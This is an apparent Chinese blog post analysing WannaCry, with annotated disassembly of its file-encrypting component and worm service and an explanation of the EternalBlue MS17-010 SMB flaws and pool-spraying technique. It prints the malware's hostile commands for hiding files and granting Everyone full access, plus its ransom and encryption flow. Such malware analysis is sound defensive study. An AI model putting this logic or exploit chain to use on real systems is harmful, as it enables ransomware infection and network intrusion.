wannacry勒索病毒分析

 wannacry是一个勒索病毒,使用永恒之蓝进行传播。

taskche.exe

 此程序主要负责对磁盘文件加密。

 分析winmain函数流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
.text:00401FE7                 push    ebp
.text:00401FE8 mov ebp, esp
.text:00401FEA sub esp, 6E4h
.text:00401FF0 mov al, byte_40F910
.text:00401FF5 push ebx
.text:00401FF6 push esi
.text:00401FF7 push edi
.text:00401FF8 mov [ebp+Filename], al
.text:00401FFE mov ecx, 81h
.text:00402003 xor eax, eax
.text:00402005 lea edi, [ebp+var_20B]
.text:0040200B rep stosd
.text:0040200D stosw
.text:0040200F stosb ; 初始化局部变量
.text:00402010 lea eax, [ebp+Filename]
.text:00402016 push 208h ; nSize
.text:0040201B xor ebx, ebx
.text:0040201D push eax ; lpFilename
.text:0040201E push ebx ; hModule
.text:0040201F call ds:GetModuleFileNameA ; 获取当前进程路径
.text:00402025 push offset DisplayName
.text:0040202A call random_string ; 调用函数产生随机字符串,当做服务名称
.text:0040202F pop ecx
.text:00402030 call ds:__p___argc
.text:00402036 cmp dword ptr [eax], 2
.text:00402039 jnz short loc_40208E
.text:0040203B push offset aI ; "/i"
.text:00402040 call ds:__p___argv
.text:00402046 mov eax, [eax]
.text:00402048 push dword ptr [eax+4] ; Str1
.text:0040204B call strcmp
.text:00402050 pop ecx
.text:00402051 test eax, eax
.text:00402053 pop ecx
.text:00402054 jnz short loc_40208E
.text:00402056 push ebx ; wchar_t *
.text:00402057 call sub_401B5F
.text:0040205C test eax, eax
.text:0040205E pop ecx
.text:0040205F jz short loc_40208E
.text:00402061 mov esi, offset FileName ; "tasksche.exe"
.text:00402066 push ebx ; bFailIfExists
.text:00402067 lea eax, [ebp+Filename]
.text:0040206D push esi ; lpNewFileName
.text:0040206E push eax ; lpExistingFileName
.text:0040206F call ds:CopyFileA ; 拷贝自身副本,命名为tasksche.exe
.text:00402075 push esi ; lpFileName
.text:00402076 call ds:GetFileAttributesA
.text:0040207C cmp eax, 0FFFFFFFFh
.text:0040207F jz short loc_40208E
.text:00402081 call create_service_mutex ; 创建服务和互斥体防止重复感染
.text:00402086 test eax, eax
.text:00402088 jnz loc_402165
.text:0040208E
.text:0040208E loc_40208E: ; CODE XREF: WinMain(x,x,x,x)+52↑j
.text:0040208E ; WinMain(x,x,x,x)+6D↑j ...
.text:0040208E mov esi, ds:strrchr
.text:00402094 lea eax, [ebp+Filename]
.text:0040209A push 5Ch ; '\' ; Ch
.text:0040209C push eax ; Str
.text:0040209D call esi ; strrchr
.text:0040209F pop ecx
.text:004020A0 test eax, eax
.text:004020A2 pop ecx
.text:004020A3 jz short loc_4020B4
.text:004020A5 lea eax, [ebp+Filename]
.text:004020AB push 5Ch ; '\' ; Ch
.text:004020AD push eax ; Str
.text:004020AE call esi ; strrchr
.text:004020B0 pop ecx
.text:004020B1 mov [eax], bl
.text:004020B3 pop ecx
.text:004020B4
.text:004020B4 loc_4020B4: ; CODE XREF: WinMain(x,x,x,x)+BC↑j
.text:004020B4 lea eax, [ebp+Filename]
.text:004020BA push eax ; lpPathName
.text:004020BB call ds:SetCurrentDirectoryA ; 设置当前工作目录
.text:004020C1 push 1
.text:004020C3 call write_reg ; 写入当前工作目录到注册表:HKEY_LOCAL_MACHINE\Software\WanaCrypt0r\wd
.text:004020C8 mov [esp+6F4h+Str], offset Str ; "WNcry@2ol7"
.text:004020CF push ebx ; hModule
.text:004020D0 call release_files ; 释放文件到当前工作目录
.text:004020D5 call write_cwnry ; 写入比特币账户到c.wnry
.text:004020DA push ebx ; lpExitCode
.text:004020DB push ebx ; dwMilliseconds
.text:004020DC push offset CommandLine ; "attrib +h ."
.text:004020E1 call exce_cmd ; 执行命令行,隐藏所有文件
.text:004020E6 push ebx ; lpExitCode
.text:004020E7 push ebx ; dwMilliseconds
.text:004020E8 push offset aIcaclsGrantEve ; "icacls . /grant Everyone:F /T /C /Q"
.text:004020ED call exce_cmd ; 执行命令行,创建Everyone账户
.text:004020F2 add esp, 20h
.text:004020F5 call get_api_address
.text:004020FA test eax, eax
.text:004020FC jz short loc_402165
.text:004020FE lea ecx, [ebp+var_6E4]
.text:00402104 call Construct ; 调用构造函数,初始化临界区
.text:00402109 push ebx ; int
.text:0040210A push ebx ; int
.text:0040210B push ebx ; lpFileName
.text:0040210C lea ecx, [ebp+var_6E4]
.text:00402112 call importkey_and_alloc ; 导入rsa秘钥,并申请0x100000内存空间
.text:00402117 test eax, eax
.text:00402119 jz short loc_40215A
.text:0040211B lea eax, [ebp+var_4]
.text:0040211E lea ecx, [ebp+var_6E4]
.text:00402124 push eax ; int
.text:00402125 push offset aTWnry ; "t.wnry"
.text:0040212A mov [ebp+var_4], ebx
.text:0040212D call dcrypt_twnry ; 解密t.wnry文件
.text:00402132 cmp eax, ebx
.text:00402134 jz short loc_40215A
.text:00402136 push [ebp+var_4] ; int
.text:00402139 push eax ; Src
.text:0040213A call load_dll ; 解密文件并加载到内存
.text:0040213F pop ecx
.text:00402140 cmp eax, ebx ; 返回值为dll内存地址
.text:00402142 pop ecx
.text:00402143 jz short loc_40215A
.text:00402145 push offset Str1 ; "TaskStart"
.text:0040214A push eax ; int
.text:0040214B call get_proc_address ; 遍历导出表获取导出函数TaskStart地址
.text:00402150 pop ecx
.text:00402151 cmp eax, ebx
.text:00402153 pop ecx
.text:00402154 jz short loc_40215A
.text:00402156 push ebx
.text:00402157 push ebx
.text:00402158 call eax ; 调用TaskStart导出函数
.text:0040215A
.text:0040215A loc_40215A: ; CODE XREF: WinMain(x,x,x,x)+132↑j
.text:0040215A ; WinMain(x,x,x,x)+14D↑j ...
.text:0040215A lea ecx, [ebp+var_6E4]
.text:00402160 call destruct ; 调用析构函数,释放资源
.text:00402165
.text:00402165 loc_402165: ; CODE XREF: WinMain(x,x,x,x)+A1↑j
.text:00402165 ; WinMain(x,x,x,x)+115↑j
.text:00402165 pop edi
.text:00402166 pop esi
.text:00402167 xor eax, eax
.text:00402169 pop ebx
.text:0040216A leave
.text:0040216B retn 10h
.text:0040216B _WinMain@16 endp

 总结一下,初始化流程为:

Step1:复制自身副本,命名为tasksche.exe,创建服务与互斥体,防止重复感染。

Step2:设置当前工作目录。

Step3:将当前工作目录写入注册表。

Step4:释放资源文件到当前工作目录,并将勒索的比特币账户写入c.wnry

Step5:执行attrb +h命令,隐藏所有文件。

Step6:执行icacls ./grant Everyone:F /T /C /Q命令,创建Everyone账户。

Step7:导入rsa密钥并申请0x100000内存。

Step8:解密t.wnry文件,并将解密后的文件加载到内存。遍历导出表获取导出函数TaskStart的地址并调用,启动病毒核心代码。

 其中,release_files函数会产生多种资源文件,包括b.wnry(图片资源)、c.wnry(比特币账户)、r.wnry(勒索文档)、s.wnry(用于组建tor网络)、t.wnry(病毒核心代码dll)、u.wnry(解密器)、taskse.exe(提权)、taskdl.exe(删除临时文件与回收站的文件)。

 而write_cwnry函数,则是从3个比特币账户中随机挑选一个并写入c.wnry文件。get_api_address则是动态获取文件相关的API函数,例如CreateFileWWriteFile等,并在其中调用get_advapi32_address来加载advapi32.dll,获取加密算法相关的API。

 其中,importkey_and_alloc函数用于导入RSA密钥,并在dcrypt_twnry函数中解密核心代码。而load_dll函数则是解析刚才解密的核心代码,将解密的代码加载入堆空间。

 之后,病毒开始真正运行,其流程为:

(1)创建00000000.pky写入RSA公钥、00000000.eky写入私钥、00000000.res写入随机数与当前时间,用于加密文件。

(2)遍历磁盘所有文件并加密。加密流程为:

  (a)导入病毒公钥1,生成公钥2保存到00000000.pky与私钥2,将私钥2使用公钥1加密并保存到00000000.eky

  (b)遍历每一个文件,生成密钥3,并加密文件数据。使用公钥2加密密钥3,并将加密的AES密钥写入到被加密的文件中。

mssecsvc.exe蠕虫

 有了taskche.exe,我们还需要用蠕虫将此程序分发到受害者主机上。蠕虫无需计算机使用者干预即可独立运行,其通过获取网络中存在的漏洞进行传播。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.text:00408140                 sub     esp, 50h
.text:00408143 push esi
.text:00408144 push edi
.text:00408145 mov ecx, 0Eh
.text:0040814A mov esi, offset aHttpWwwIuqerfs ; "http://www.iuqerfsodp9ifjaposdfjhgosuri"...
.text:0040814F lea edi, [esp+58h+szUrl]
.text:00408153 xor eax, eax
.text:00408155 rep movsd
.text:00408157 movsb
.text:00408158 mov [esp+58h+var_17], eax
.text:0040815C mov [esp+58h+var_13], eax
.text:00408160 mov [esp+58h+var_F], eax
.text:00408164 mov [esp+58h+var_B], eax
.text:00408168 mov [esp+58h+var_7], eax
.text:0040816C mov [esp+58h+var_3], ax
.text:00408171 push eax ; dwFlags
.text:00408172 push eax ; lpszProxyBypass
.text:00408173 push eax ; lpszProxy
.text:00408174 push 1 ; dwAccessType
.text:00408176 push eax ; lpszAgent
.text:00408177 mov [esp+6Ch+var_1], al
.text:0040817B call ds:InternetOpenA
.text:00408181 push 0 ; dwContext
.text:00408183 push 84000000h ; dwFlags
.text:00408188 push 0 ; dwHeadersLength
.text:0040818A lea ecx, [esp+64h+szUrl]
.text:0040818E mov esi, eax
.text:00408190 push 0 ; lpszHeaders
.text:00408192 push ecx ; lpszUrl
.text:00408193 push esi ; hInternet
.text:00408194 call ds:InternetOpenUrlA ; 访问域名,访问成功放弃病毒感染
.text:0040819A mov edi, eax
.text:0040819C push esi ; hInternet
.text:0040819D mov esi, ds:InternetCloseHandle
.text:004081A3 test edi, edi
.text:004081A5 jnz short loc_4081BC
.text:004081A7 call esi ; InternetCloseHandle
.text:004081A9 push 0 ; hInternet
.text:004081AB call esi ; InternetCloseHandle
.text:004081AD call being
.text:004081B2 pop edi
.text:004081B3 xor eax, eax
.text:004081B5 pop esi
.text:004081B6 add esp, 50h
.text:004081B9 retn 10h
.text:004081BC ; ---------------------------------------------------------------------------
.text:004081BC
.text:004081BC loc_4081BC: ; CODE XREF: WinMain(x,x,x,x)+65↑j
.text:004081BC call esi ; InternetCloseHandle
.text:004081BE push edi ; hInternet
.text:004081BF call esi ; InternetCloseHandle
.text:004081C1 pop edi
.text:004081C2 xor eax, eax
.text:004081C4 pop esi
.text:004081C5 add esp, 50h
.text:004081C8 retn 10h
.text:004081C8 _WinMain@16 endp

 如上所示,病毒访问http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com,若访问成功,则放弃感染(说明已经感染)。在being函数中判断命令参数数量,若小于2,则调用create_and_start_service,否则启动mssecsvc2.0服务。

 先看create_and_start_service函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// create_and_start_service
.text:00407F20 create_and_start_service proc near ; CODE XREF: being+20↓p
.text:00407F20 call create_service
.text:00407F25 call release_file ; 释放病毒勒索程序tasksche.exe
.text:00407F2A xor eax, eax
.text:00407F2C retn
.text:00407F2C create_and_start_service endp

// create_service
.text:00407C40 create_service proc near ; CODE XREF: create_and_start_service↓p
.text:00407C40
.text:00407C40 Dest = byte ptr -104h
.text:00407C40
.text:00407C40 sub esp, 104h
.text:00407C46 lea eax, [esp+104h+Dest]
.text:00407C4A push edi
.text:00407C4B push offset FileName
.text:00407C50 push offset Format ; "%s -m security"
.text:00407C55 push eax ; Dest
.text:00407C56 call ds:sprintf ; 格式化服务参数
.text:00407C5C add esp, 0Ch
.text:00407C5F push 0F003Fh ; dwDesiredAccess
.text:00407C64 push 0 ; lpDatabaseName
.text:00407C66 push 0 ; lpMachineName
.text:00407C68 call ds:OpenSCManagerA ; 打开服务管理器
.text:00407C6E mov edi, eax
.text:00407C70 test edi, edi
.text:00407C72 jz short loc_407CCA
.text:00407C74 push ebx
.text:00407C75 push esi
.text:00407C76 push 0 ; lpPassword
.text:00407C78 push 0 ; lpServiceStartName
.text:00407C7A push 0 ; lpDependencies
.text:00407C7C push 0 ; lpdwTagId
.text:00407C7E lea ecx, [esp+120h+Dest]
.text:00407C82 push 0 ; lpLoadOrderGroup
.text:00407C84 push ecx ; lpBinaryPathName
.text:00407C85 push 1 ; dwErrorControl
.text:00407C87 push 2 ; dwStartType
.text:00407C89 push 10h ; dwServiceType
.text:00407C8B push 0F01FFh ; dwDesiredAccess
.text:00407C90 push offset DisplayName ; "Microsoft Security Center (2.0) Service"
.text:00407C95 push offset ServiceName ; "mssecsvc2.0"
.text:00407C9A push edi ; hSCManager
.text:00407C9B call ds:CreateServiceA ; 创建"mssecsvc2.0"服务
.text:00407CA1 mov ebx, ds:CloseServiceHandle
.text:00407CA7 mov esi, eax
.text:00407CA9 test esi, esi
.text:00407CAB jz short loc_407CBB
.text:00407CAD push 0 ; lpServiceArgVectors
.text:00407CAF push 0 ; dwNumServiceArgs
.text:00407CB1 push esi ; hService
.text:00407CB2 call ds:StartServiceA ; 启动服务
.text:00407CB8 push esi ; hSCObject
.text:00407CB9 call ebx ; CloseServiceHandle ; 关闭服务句柄
.text:00407CBB
.text:00407CBB loc_407CBB: ; CODE XREF: create_service+6B↑j
.text:00407CBB push edi ; hSCObject
.text:00407CBC call ebx ; CloseServiceHandle ; 关闭服务句柄
.text:00407CBE pop esi
.text:00407CBF pop ebx
.text:00407CC0 xor eax, eax
.text:00407CC2 pop edi
.text:00407CC3 add esp, 104h
.text:00407CC9 retn
.text:00407CCA ; ---------------------------------------------------------------------------
.text:00407CCA
.text:00407CCA loc_407CCA: ; CODE XREF: create_service+32↑j
.text:00407CCA xor eax, eax
.text:00407CCC pop edi
.text:00407CCD add esp, 104h
.text:00407CD3 retn
.text:00407CD3 create_service endp

 可以看到,create_and_start_service函数首先创建mssecsvc2.0服务并启动,接下来释放tasksche.exe并启动。

mssecsvc2.0服务则负责发送漏洞攻击代码,攻击其他主机,如下所示:

image-20230825103915337

image-20230825103938718

 由此,进入service_entry函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
.text:00407BD0 service_entry   proc near               ; CODE XREF: service_main+74↓p
.text:00407BD0 call init_payload
.text:00407BD5 test eax, eax
.text:00407BD7 jnz short loc_407BDA
.text:00407BD9 retn
.text:00407BDA ; ---------------------------------------------------------------------------
.text:00407BDA
.text:00407BDA loc_407BDA: ; CODE XREF: service_entry+7↑j
.text:00407BDA push ebx
.text:00407BDB push ebp
.text:00407BDC push esi
.text:00407BDD push edi
.text:00407BDE mov edi, ds:_beginthreadex
.text:00407BE4 push 0
.text:00407BE6 push 0
.text:00407BE8 push 0
.text:00407BEA push offset scan_lan
.text:00407BEF push 0
.text:00407BF1 push 0
.text:00407BF3 call edi ; _beginthreadex ; 创建线程扫描局域网,利用漏洞传播病毒
.text:00407BF5 mov ebp, ds:CloseHandle
.text:00407BFB add esp, 18h
.text:00407BFE test eax, eax
.text:00407C00 jz short loc_407C05
.text:00407C02 push eax ; hObject
.text:00407C03 call ebp ; CloseHandle
.text:00407C05
.text:00407C05 loc_407C05: ; CODE XREF: service_entry+30↑j
.text:00407C05 mov ebx, ds:Sleep
.text:00407C0B xor esi, esi
.text:00407C0D
.text:00407C0D loc_407C0D: ; CODE XREF: service_entry+65↓j
.text:00407C0D push 0
.text:00407C0F push 0
.text:00407C11 push esi
.text:00407C12 push offset scan_wan
.text:00407C17 push 0
.text:00407C19 push 0
.text:00407C1B call edi ; _beginthreadex ; 创建线程扫描广域网,利用漏洞传播病毒
.text:00407C1D add esp, 18h
.text:00407C20 test eax, eax
.text:00407C22 jz short loc_407C27
.text:00407C24 push eax ; hObject
.text:00407C25 call ebp ; CloseHandle
.text:00407C27
.text:00407C27 loc_407C27: ; CODE XREF: service_entry+52↑j
.text:00407C27 push 7D0h ; dwMilliseconds
.text:00407C2C call ebx ; Sleep
.text:00407C2E inc esi
.text:00407C2F cmp esi, 80h ; '€'
.text:00407C35 jl short loc_407C0D
.text:00407C37 pop edi
.text:00407C38 pop esi
.text:00407C39 pop ebp
.text:00407C3A xor eax, eax
.text:00407C3C pop ebx
.text:00407C3D retn
.text:00407C3D service_entry endp

 可以看到,此函数首先初始化payload,之后创建线程执行利用漏洞传播病毒的代码。其中,首先分析init_payload,其中SMB攻击代码逻辑为:释放蠕虫程序,创建进程并执行代码。其次,scan_lan函数则是检查445端口是否开启,若果开启则发送SMB攻击代码。最后,病毒扫描网段判断是否开启SMB协议,若开启则攻击。

永恒之蓝MS17-010漏洞分析

 此漏洞主要利用了微软的3个缺陷。SMB是一个网络文件共享协议,允许应用程序从远端的文件服务器访问文件资源。该漏洞由SMB_COM_TRANSACTION2(0x32)触发,SMB格式如下所示:

(1)协议头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SMB_Header{
UCHAR Protocol[4];
UCHAR Command;
SMB_ERROR Status;
UCHAR Flags;
USHORT Flags2;
USHORT PIDHigh;
UCHAR SecurityFeatures[8];
USHORT Reserved;
USHORT TID;
USHORT PIDLow;
USHORT UID;
USHORT MID;
}

(2)协议参数:

1
2
3
4
SMB_Parameters{
UCHAR WordCount;
USHORT Words[WordCount] (variable);
}

(3)协议数据:

1
2
3
4
SMB_Data{
USHORT ByteCount;
UCHAR Bytes[ByteCount] (variable);
}

(4)对于SMB_COM_TRANSACTION2(0x32)命令协议,其协议参数与数据格式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SMB_Parameters{
UCHAR WordCount;
Words{
USHORT TotalParameterCount;
USHORT TotalDataCount;
USHORT MaxParameterCount;
USHORT MaxDataCount;
UCHAR MaxSetupCount;
UCHAR Reserved1;
USHORT Flags;
ULONG Timeout;
USHORT Reserved2;
USHORT ParameterCount;
USHORT ParameterOffset;
USHORT DataCount;
USHORT DataOffset;
UCHAR SetupCount;
UCHAR Reserved3;
USHORT Setup[SetupCount];
}
}
SMB_Data{
USHORT ByteCount;{
UCHAR Name;
UCHAR Pad1[];
UCHAR Trans2_Parameters[ParameterCount];
UCHAR Pad2[];
UCHAR Trans2_Data[DataCount];
}
}

(5)对于SMB_COM_TRANSACTION2(0x32)命令协议,其数据包中FEALIST的格式:

image-20230825110532842

利用步骤1 srv.sys的SrvOs2FeaListToNt函数

image-20230825110729702

 此函数用于实现FEALIST转换为对应的NTFEALIST,函数调用SrvOs2FeaListSizeToNt计算FEALIST的长度,但是该函数将cbList的4字节长度保存为2字节长度,导致攻击者可以伪造超长的size,从而导致在之后的SrcOs2FeaToNt池溢出。

 由于溢出导致对srvnet.sys分配的srvnet对象内存越界写入,其中覆盖了此对象的srvnet_recv(该指针将会在smb连接结束或断开时被用于寻址函数地址)与MDL,因此可以在某地址写入shellcode。因此覆盖并控制MDL将导致之后的tcp栈实现任意写入伪造对象的操作,覆盖并控制该指针可用于将其指向一个攻击者控制的伪造对象,此时断开smb连接即可导致代码执行。

利用步骤2 SMB_COM_TRANSACTION2(0x32)协议

 如上述漏洞所示可以导致一次越界写,但其前提是FEA LIST的长度必须大于10000,通过分析可以发现FEA LIST只存在于SMB_COM_TRANSACTION2命令的子命令中。如上所示,TotalDataCountUSHORT的,那么,如果发送的数据大小大于0xffff,则会导致溢出。那么,如何发送大于0xffff的数据?

 就要利用SMB_COM_TRANSACTION_SECONDARY(0x26)的漏洞。通过抓包可以发现此处发送的并不是SMB_COM_TRANSACTION2子命令的请求包,而是SMB_COM_NT_TRANSACT子命令的请求包,而SMB_COM_NT_TRANSACT子命令中TotalDataCount的类型为ULONG,支持发送大于0xFFFF长度的数据包。

 但是SMB_COM_NT_TRANSACT本身是不支持FEALIST的,这里就涉及到SMB_COM_TRANSACTION_SECONDARY(0x26)的漏洞。

 在此补充一下,SMB的子命令中存在一个名为TRANSACTION系列的命令:

(1)SMB_COM_TRANSACTION:用于和邮槽、命名管道进行通信

(2)SMB_COM_TRANSACTION2:用于打开或创建一个共享文件或文件夹,设置它们的扩展属性

(3)SMB_COM_NT_TRANSACT:用于打开或创建一个文件或文件夹,并应用扩展属性EA或安全描述符SD

 其中产生漏洞的即为对应的SMB_COM_TRANSACTION2命令。对于TRANSACTION系列的命令,如果发送的长度过大,SMB会将该请求包拆分成Second的形式进行发送,如下所示为其相应的Second系列的命令。

 服务端根据SMB请求头部的TIP,PID,UID,MID确定哪一个Second属于对应的transtion,而服务端根据最后一个Second确定对应的transtion类型,即如果最后一个Second为SMB_COM_TRANSACTION2_SECONDARY,就按SMB_COM_TRANSACTION2来处理。对于一个transaction,如果没有发送完,后续会跟上对应的Second数据包,服务端不会检查对应的Second类型,只要保证其TIP,PID,UID,MID匹配,服务端就会将这些数据重新组装还原成一个transaction,而类型由最后一个Second决定

漏洞变种3

 为了操纵被溢出的池,该病毒使用内核池喷射技术喷射srvnet对象,该病毒利用SMB_COM_SESSION_SETUP_ANDX(0x73)命令的漏洞进行稳定喷射。在BlockingSessionSetupAndX函数中,如果发送的SMB_COM_SESSION_SETUP_ANDX(0x73)请求中wordcount的类型为12且数据包中的SMB_Parameters的Capabilities含有CAP_EXTENDED_SECURITY标志,但没有FLAGS2_EXTENDED_SECURITY标志,系统会错误的将类型为12的数据包当作类型为13的数据包进行处理,导致服务端从错误的位置读取ByteCount值。因为ByteCount用来计算缓冲区的大小,因此接下来的GetNtSecurityParameters会计算出一个错误的大小,病毒据此控制SrvAllocateNonPagedPool申请内存值的大小。

留言

© 2024 wd-z711

⬆︎TOP